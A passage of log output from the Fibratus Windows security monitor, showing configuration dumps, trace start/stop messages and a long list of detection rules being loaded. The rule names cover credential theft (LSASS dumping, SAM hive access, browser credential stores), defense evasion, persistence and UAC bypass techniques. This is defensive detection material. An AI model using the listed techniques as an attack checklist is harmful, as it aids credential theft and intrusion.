RegCloseKey]] enable-fileio=>true enable-audit-api=>true max-buffers=>36 enable-thread=>true stack-enrichment=>true flush-interval=>1s] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ match-all=>true rules=>[ from-urls=>[] enabled=>true from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ max-age=>0 log-stdout=>true max-size=>100 formatter=>text level=>info max-backups=>15] + output ......................... [ elasticsearch=>[ flush-period=>1s timeout=>5s index-name=>fibratus sniff=>false trace-log=>false bulk-workers=>1 healthcheck-timeout=>5s healthcheck-interval=>10s enabled=>false servers=>[http://127.0.0.1:9200] template-name=>fibratus gzip-compression=>false healthcheck=>true] amqp=>[ vhost=>/ tls-insecure-skip-verify=>false exchange-type=>topic timeout=>5s routing-key=>fibratus url=>amqp://localhost:5672 durable=>false enabled=>false passive=>false delivery-mode=>transient exchange=>fibratus] eventlog=>[ level=>info enabled=>false] console=>[ enabled=>true format=>pretty template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} +] http=>[ endpoints=>[] enabled=>false tls-insecure-skip-verify=>false serializer=>json enable-gzip=>false method=>POST timeout=>5s]] + pe ............................. [ read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false read-sections=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ replace=>[ enabled=>false] remove=>[ enabled=>false params=>[]] tags=>[ enabled=>false] rename=>[ enabled=>false] trim=>[ enabled=>false]] + yara ........................... [ fastscan=>true skip-allocs=>false skip-mmaps=>false excluded-procs=>[] excluded-files=>[] skip-files=>false rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] skip-registry=>false enabled=>false scan-timeout=>10s] source=bootstrap/bootstrap.go:185 +time=2025-11-22T21:11:07+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T21:11:10+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T21:14:05+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T21:14:06+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T21:14:06+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T21:14:18+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T21:14:18+01:00 level=info msg=bootstrapping with pid 11852. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T21:14:18+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ slack=>[ enabled=>false] eventlog=>[ verbose=>true enabled=>true] systray=>[ sound=>true enabled=>false quiet-mode=>false] mail=>[ content-type=>text/html port=>25 use-template=>true to=>[] enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-pe=>false serialize-envs=>true] + eventsource .................... [ enable-dns=>false enable-fileio=>true enable-handle=>false stack-enrichment=>true flush-interval=>1s enable-net=>true blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] enable-mem=>false enable-registry=>true enable-image=>true enable-thread=>true max-buffers=>36 enable-threadpool=>false min-buffers=>16 enable-vamap=>true buffer-size=>512 enable-audit-api=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + logging ........................ [ formatter=>text log-stdout=>true max-age=>0 max-backups=>15 level=>info max-size=>100] + output ......................... [ amqp=>[ timeout=>5s exchange=>fibratus durable=>false vhost=>/ passive=>false routing-key=>fibratus delivery-mode=>transient url=>amqp://localhost:5672 enabled=>false exchange-type=>topic tls-insecure-skip-verify=>false] console=>[ enabled=>true template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty] eventlog=>[ enabled=>false level=>info] elasticsearch=>[ index-name=>fibratus template-name=>fibratus enabled=>false flush-period=>1s healthcheck-timeout=>5s timeout=>5s healthcheck-interval=>10s healthcheck=>true gzip-compression=>false trace-log=>false servers=>[http://127.0.0.1:9200] bulk-workers=>1 sniff=>false] http=>[ method=>POST enabled=>false tls-insecure-skip-verify=>false timeout=>5s endpoints=>[] serializer=>json enable-gzip=>false]] + pe ............................. [ read-sections=>false read-resources=>false enabled=>false excluded-images=>[svchost.exe] read-symbols=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] rename=>[ enabled=>false] replace=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-mmaps=>false excluded-procs=>[] skip-files=>false enabled=>false fastscan=>true rule=>[ paths=>[map[namespace: path:]] strings=>[map[namespace: string:]]] scan-timeout=>10s excluded-files=>[] skip-registry=>false skip-allocs=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T21:14:18+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T21:14:21+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T21:14:30+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T21:14:30+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T21:14:31+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-22T21:16:29+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:153 +time=2025-11-22T21:16:29+01:00 level=info msg=bootstrapping with pid 14704. Version: dev source=bootstrap/bootstrap.go:184 +time=2025-11-22T21:16:30+01:00 level=info msg=configuration options: + aggregator ..................... [ flush-timeout=>4s flush-period=>500ms] + alertsenders ................... [ mail=>[ port=>25 enabled=>false to=>[] content-type=>text/html use-template=>true] systray=>[ quiet-mode=>false sound=>true enabled=>false] eventlog=>[ enabled=>true verbose=>true] slack=>[ enabled=>false]] + api ............................ [ timeout=>5s transport=>localhost:8482] + cap ............................ [] + config-file .................... ..\fibratus.yml + debug-privilege ................ true + evasion ........................ [ enable-direct-syscall=>true enabled=>true] + event .......................... [ serialize-images=>false serialize-threads=>false serialize-handles=>false serialize-envs=>true serialize-pe=>false] + eventsource .................... [ buffer-size=>512 enable-image=>true enable-mem=>false enable-vamap=>true flush-interval=>1s blacklist=>[ images=>[] events=>[CloseFile RegCloseKey]] min-buffers=>16 enable-fileio=>true max-buffers=>36 enable-threadpool=>false enable-registry=>true stack-enrichment=>true enable-audit-api=>true enable-handle=>false enable-dns=>false enable-net=>true enable-thread=>true] + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-urls=>[] from-paths=>[C:\Fibratus\fibratus\rules\*.yml]] macros=>[ from-paths=>[C:\Fibratus\fibratus\rules\macros\*.yml]] match-all=>true] + forward ........................ true + handle ......................... [ enumerate-handles=>false init-snapshot=>false] + logging ........................ [ max-age=>0 max-backups=>15 log-stdout=>true formatter=>text level=>info max-size=>100] + output ......................... [ elasticsearch=>[ servers=>[http://127.0.0.1:9200] flush-period=>1s bulk-workers=>1 timeout=>5s gzip-compression=>false index-name=>fibratus trace-log=>false healthcheck-timeout=>5s enabled=>false healthcheck-interval=>10s template-name=>fibratus sniff=>false healthcheck=>true] http=>[ endpoints=>[] enable-gzip=>false tls-insecure-skip-verify=>false enabled=>false timeout=>5s serializer=>json method=>POST] amqp=>[ passive=>false timeout=>5s routing-key=>fibratus exchange-type=>topic delivery-mode=>transient tls-insecure-skip-verify=>false exchange=>fibratus url=>amqp://localhost:5672 vhost=>/ enabled=>false durable=>false] eventlog=>[ enabled=>false level=>info] console=>[ template=>{{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Params }}) {{ .Callstack }} {{ .Cmd }} + format=>pretty enabled=>true]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false excluded-images=>[svchost.exe] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ enabled=>false params=>[]] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false] tags=>[ enabled=>false]] + yara ........................... [ skip-files=>false fastscan=>true skip-registry=>false enabled=>false excluded-files=>[] skip-allocs=>false scan-timeout=>10s rule=>[ strings=>[map[namespace: string:]] paths=>[map[namespace: path:]]] excluded-procs=>[] skip-mmaps=>false] source=bootstrap/bootstrap.go:185 +time=2025-11-22T21:16:30+01:00 level=info msg=starting [Security Telemetry Logger] trace processing source=etw/source.go:269 +time=2025-11-22T21:16:32+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:269 +time=2025-11-22T21:17:04+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-22T21:17:04+01:00 level=info msg=stopping [Security Telemetry Logger] trace processing source=etw/source.go:285 +time=2025-11-22T21:17:04+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:285 +time=2025-11-23T00:19:25+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_copied_binary.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_sideloading_via_microsoft_office_dropped_file.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dotnet_assembly_loaded_by_unmanaged_process.yml source=config/filters.go:355 +time=2025-11-23T00:19:25+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_hidden_registry_key_creation.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_image_load_via_ntfs_transaction.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_injection_via_dotnet_debugging.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_creation_via_shellcode.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_doppelganging_injection.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_hollowing_injection.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_process_injection_via_tainted_memory_section.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_shellcode_execution_via_etw_logger_thread.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_potential_thread_execution_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_execution_from_self_deleting_binary.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_process_spawned_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_regsvr32_scriptlet_execution.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_access_to_the_hosts_file.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_dll_loaded_via_memory_section_mapping.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_html_application_script_execution.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_object_symbolic_link_creation.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_windows_defender_exclusions_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_suspicious_xsl_script_execution.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_system_binary_proxy_execution_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_thread_context_set_from_unbacked_memory.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_unsigned_dll_injection_via_remote_thread.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_driver_unloading.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_windows_defender_protection_tampering_via_registry.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_executable_file_creation_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_execution_via_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_macro_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_script_interpreter.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_microsoft_office_file_execution_via_wmi.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_potential_clickfix_infection_chain_via_run_window.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_process_spawned_from_macro_enabled_microsoft_office_document.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_dll_loaded_by_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_execution_via_wmi_from_microsoft_office_process.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\initial_access_suspicious_microsoft_office_embedded_object.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_executable_file_dropped_by_unsigned_service_dll.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_hidden_local_account_creation.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_network_connection_via_startup_folder_executable_or_script.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_potential_port_monitor_or_print_processor_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_rid_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_script_interpreter_or_untrusted_process_persistence.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_addin_loaded.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_microsoft_office_template.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_netsh_helper_dll_execution.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_persistence_via_registry_modification.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_port_monitor_loaded.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_print_processor_loaded.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_suspicious_startup_shell_folder_modification.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_file_written_in_startup_folder.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\persistence_unusual_process_modified_registry_run_key.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_ifileoperation_abuse.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_potential_privilege_escalation_via_phantom_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_cdssync_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_dll_hijack_from_windows_media_player_directory.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_icmluautil_com_interface.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_ntfs_junction_dll_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_program_compatibility_assistant_scheduled_task_hijack.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_uac_bypass_via_trusted_windows_directory_masquerading.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_dropped.yml source=config/filters.go:355 +time=2025-11-23T00:19:26+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\privilege_escalation_vulnerable_or_malicious_driver_loaded.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading macros from file C:\Fibratus\fibratus\rules\macros\macros.yml source=config/filters.go:295 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credentail_access_file_access_to_sam_database.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_access_from_backups_via_rundll32.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_credential_discovery_via_vaultcmd.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_access_from_unsigned_executable.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_handle_leak_via_seclogon.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_preparation_via_silent_process_exit.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_minidumpwritedump.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dump_via_wer.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_memory_dumping.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_lsass_process_clone_creation_via_reflection.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_potential_sam_hive_dumping.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_remote_thread_creation_into_lsass.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_active_directory_domain_database.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_unattended_panther_files.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_dpapi_master_keys.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_manager_files.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_access_to_windows_vault_files.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_security_package_loaded_by_lsass.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_suspicious_vault_client_dll_load.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_ssh_keys.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_web_browser_credential_stores.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\credential_access_unusual_access_to_windows_credential_history.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_appdomain_manager_injection_via_clr_search_order_hijacking.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_clear_eventlog.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_apc_queue.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_callback_function.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from C:\Fibratus\fibratus\rules\defense_evasion_dll_loaded_via_ldrpkernel32_overwrite.yml source=config/filters.go:355 +time=2025-11-23T00:21:29+01:00 level=info msg=loading rule from 